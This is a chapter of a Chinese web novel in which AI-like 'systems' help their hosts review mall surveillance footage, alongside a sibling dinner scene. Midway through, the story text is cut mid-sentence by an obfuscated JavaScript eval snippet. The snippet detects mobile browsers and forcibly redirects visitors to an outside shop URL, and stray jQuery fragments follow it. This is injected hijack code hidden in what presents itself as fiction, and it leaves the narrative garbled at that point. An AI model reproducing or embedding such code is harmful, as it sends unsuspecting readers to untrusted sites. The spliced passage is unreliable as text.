林昭:“啊?”
6751的语气果断不容置疑,林昭愣了两秒,然后确定她说的是真的。
但实际上的工作量也不算太大,6751很快就筛选到了相应的时间段,给林昭分了一半让她去找行迹可疑的人。
林昭自觉地认真看了起来。
商场4、5楼一般都会开几家大牌子的店面,是以人不算少,但6751筛选出的时间很精准,林昭感觉自己努努力的话好像也行。
经历无限流那段时间的共处后,林昭早早就深刻意识到了6751平时温柔是温柔,但在正事上绝对容不下半点含糊。
不过事后6751的情绪价值也是给满的,林昭每次刚被她的严格折腾得想发牢骚的时候都会在三分钟内被哄得一愣一愣的。
就像是温柔大姐姐挂的金牌教练。
林昭在6751的温柔时刻吐槽过。
温柔版的6751话间笑意盈盈:【这是对我的夸奖吗?】
她的声音很好听,像是春风拂过水面泛起涟漪,润润的,带着清冽的甘甜。
林昭当即被6751哄得一愣一愣的,然后自己给自己打鸡血斗志昂扬地闯副本去了。
四楼信号选择的消失地点狡猾而高明——店面密集、人流量大,所以林昭在看监控的时候不得不放慢倍速并多次暂停。
年轻的父母和孩子牵着手说说笑笑;一起逛街的闺蜜一人一杯奶茶凑在一起说着悄悄话;几个大老爷们踩着拖鞋对旁边的店家评头论足;打扮干练精英的女子打着电话快步走路;穿着深咖色大衣的男人走进服装店内;上了年纪但气质超然的阿姨抱着洁白的贵宾犬,时不时还低下头跟怀里正好奇地张望四周的狗狗说几句话……
林昭把有嫌疑的人一个一个地归档记录。
说是这么说的,不过实际上就是怼着人脸截张图然后甩到一边排着等二次筛查。
环形监控面板的上方很快就排起了一张张照片。
——
沈安禾和沈容予打羽毛球的时候,崇安在查监控。
沈安禾和沈容予休息喝水时,崇安在努力查监控。
沈安禾和沈容予打完了到饭点了,沈安禾喝了点水后看到崇安在那拿着人脸一个一个地排除嫌疑。
崇安用积分让自己隐身了,旁人看不到,但和他绑定的沈安禾是能看见的。
视力极好的眼睛让沈安禾能够清晰看到崇安加快而又放慢监控的动作,看到他偶然暂停,又多调出一个角度的监控查看。
隐身的状态让崇安的身影在沈安禾眼中是虚化的,他像是被昂贵精密的设备投影出来的游戏人物,而不是实体化走进现实的系统。
沈安禾没有多看,毕竟在别人眼里她是在盯着角落发呆,发呆的话几秒就够了,再长就会让人疑惑了。
充分运动过后的身体兴奋而愉悦,沈容予拿着球拍给自己扇了两下风,然后捡起地上的球拍袋:“安禾,把拍给我。”
“给。”
“嗯,你先去洗澡吧,一身汗不舒服,洗完我们去吃烧烤。”
他接过沈安禾递来的球拍,一边往球拍袋里装一边嘱咐。
烧烤二字听着就诱人,沈安禾喝了口水润了润运动后干燥的口腔,然后冲沈容予一笑:“好。”
沈容予和她今天打得悠闲但尽兴,毕竟不用在乎比分也不必在意输赢,一场打下来可谓是宾主尽欢。
运动后洗澡虽然过程中会觉得有点累,但洗完后那叫一个舒爽。
淋浴间外的空气凉丝丝地,沈安禾慵懒地在空气中伸了个懒腰,提前洗完的沈容予看到她出来后关掉手机:“走吧。”
“嗯。”
沈安禾:【崇安,该走了。】
角落里投影般的虚化身影一顿:【好,我知道了。】
开在商场里的烧烤店味道不错,但卖品并不是单纯的烧烤,杂七杂八的烤鱼、炒菜,甚至是蛋糕甜点也不在少数。
空气中弥漫着肉脂被炭烤过的香气和烧烤撒料的刺激香气,沈容予带着沈安禾走进店内的包厢开始点单。
沈安禾照例点了几串招牌的烤串还有两份肉,然后往下面按自己的喜好点了几个。
依旧是兄妹二人,依旧坐在熟悉的包厢里点着烧烤,沈安禾点完后抬起头看向对面依旧完美无缺的沈容予,突然有些索然无味。
她喝了口柠檬水,细微的酸意聊胜于无,大半还是寡淡的白开水。
【崇安。】
【怎么了?】
【你在哪?】
玻璃瓶底的撒料瓶放在桌子内侧,沈安禾拿起瓶子往自己的小碟子里倒了厚厚的一层,然后又拿起旁边的辣椒粉往上面撒了薄薄的一层。
【我在外面查监控。】
【在哪?】
【烧烤店外。】
【……】
或许是身边有个大总裁哥哥,现在她自己又坐在休闲的烧烤店里的原因,沈安禾感觉自己好像一个邪恶的资本家,就算是下班时间也要打电话给员工要求对方兢兢业业地汇报工作,甚至还自己好吃好喝把员工晾在外面的那种。
不对,崇安是个系统。
信誓旦旦地说好了永远以宿主为中心的那种系统。
系统不是人,所以她不用愧疚。
于是沈安禾的声音带着属于邪恶资本家的三分冷漠三分凉薄和四分漫不经心:【你查到哪了?】
【嫌疑人全都列出来了,已经排查了一半。】
嚯,这效率。
也就两个多小时吧。
沈安禾把手里的水杯放了下来,略微正身,把自己先前看过的众多系统小说回忆了一遍,大致过了个剧情。
小说的类型不同,系统之间无法比较;但不得不说,崇安作为系统,很有用。
【那你继续查吧。】不知怎的沈安禾突然就泄了气,没什么继续玩角色扮演的兴趣了。
她无聊地拿起筷子把调料搅拌搅拌,然后把沾着烧烤料的筷子往嘴里一放。
嗯,辣度合适,好吃。
再吃两口。
沈安禾曾听说无聊也是一种很好的状态,因为无聊在开心快乐的下面,却在烦恼等一众负面情绪的前面。
但沈安禾私以为百无聊赖不算在内。
因为百无聊赖后会烦躁,会让人感觉闷,感觉透不过气。
她托着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17921745|213477||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
腮认真思考了两下,最后决定和沈容予聊天。
“哥,爸妈有没有在你那说我坏话?”
突然被沈安禾的声音叫到,沈容予眉头一挑:“他们两个?”
“对。”
“那倒没有,”他低低笑了一声,“就是跟我抱怨说你觉得他们偏心,问我觉不觉得。”
“哦。”她难得有些干巴地应了几句,然后不动声色地把话题往一个类似的方向转了一下:“对了,你现在看公司新招的实习生是不是你看我高三那时候的感觉?”
“不是。”
沈安禾诧异,她原本已经做好了沈容予说是然后她笑着点点头说几句当年不懂事然后把话题完全抽出来的准备,但沈容予说“不是”。
她几乎是有点失控地急切追问:“为什么?”
沈容予喝了口水,一副理所当然还有些惊讶她这么急切追问的原因:“你是我妹妹啊。”
他语气一转,笑盈盈的:“我妹妹特别优秀。”
沈容予这句话说得顺极了,说得好像小时候哥哥给妹妹打气说“真棒”一样。
说到这里,他还有些意犹未尽,于是继续给沈安禾爆料:“我跟你说,咱妈不是在你车祸后一提到你就要抹眼泪嘛。”
“有所耳闻。”沈安禾点点头,毕竟她刚醒来第二天沈母就坐在她床边抹泪了。
“八月中的时候,妈又念叨着你昏迷,在爷爷心血来潮办的鱼宴上哭了。等结束后保姆去厨房洗碗爷爷就把她叫到书房,说她天天用情绪绑定别人什么的。”
沈母是能做出这事的人,爷爷那脾气也确实会把她叫到书房训话,沈安禾托腮:“那爸呢?他没护着妈?”
以他那大男子主义,看见沈母被自己父亲欺负还不维护?
“哦,他啊,被奶奶叫去帮忙摆弄她的那些花花草草了。手机都不准带进花房,说会影响植物心情。”沈容予云淡风轻地说道。
沈安禾“噗嗤”一下笑了:“那你呢?你当时在干嘛?”
“在工作。”
家里大人的年纪上来了,但爷爷奶奶和父母之间的摩擦与日俱增。
估计就是闲下来了。
沈容予自然懂得“家丑不宜外扬”的道理,所以老宅里的那点破事他也不会跟外人说。
但妹妹是家内啊。
他跟妹妹说点家长里短,再正常不过了。
“哦,还有,你这周末要不要回老宅看看爷爷奶奶?他们挺想你的。想回的话到时候我叫助理去接你。”
沈安禾想了想:“行,我去。”
——
林昭的眼睛都要看酸了。
她眨了眨干涩的眼睛,吐出的话都有点像正在低空飘荡的幽灵了:“姐,我们把监控打包回家看行吗?”
时间确实不晚了。
6751看了眼时间,然后点点头,秒切温柔大姐姐模式:“好。”
环状面板上的录像瞬间全部暂停,一幅幅监控录像压缩成卡片般的薄片向中间一拢而后隐入蓝色的面板之中。
6751带着林昭一路隐身走出了商场,然后拐进街道中的一个监控死角,确定四下无人后才解除了隐身。